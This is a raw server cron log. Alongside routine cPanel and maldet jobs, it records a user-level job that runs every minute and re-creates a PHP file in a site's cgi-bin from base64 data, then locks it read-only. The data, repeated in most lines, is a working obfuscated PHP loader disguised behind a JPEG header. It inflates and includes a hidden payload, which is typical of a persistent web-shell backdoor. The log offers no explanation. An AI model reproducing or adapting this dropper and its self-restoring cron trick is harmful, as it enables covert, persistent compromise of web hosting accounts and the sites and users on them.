Nov 14 05:40:01 server CROND[11484]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:40:01 server CROND[11485]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 05:41:01 server CROND[12402]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:42:01 server CROND[13337]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:42:01 server CROND[13338]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 05:43:01 server CROND[14206]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:44:01 server CROND[15276]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:45:01 server CROND[16135]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 05:45:01 server CROND[16136]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 05:45:01 server CROND[16137]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:46:01 server CROND[17074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:47:01 server CROND[17949]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:48:01 server CROND[18908]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:49:02 server CROND[19773]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:50:01 server CROND[20637]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 05:50:01 server CROND[20639]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 05:50:01 server CROND[20641]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 05:50:01 server CROND[20642]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:50:01 server CROND[20645]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 05:51:01 server CROND[21319]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:52:01 server CROND[21759]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:52:01 server CROND[21760]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload &gt; /dev/null 2&gt;&amp;1)
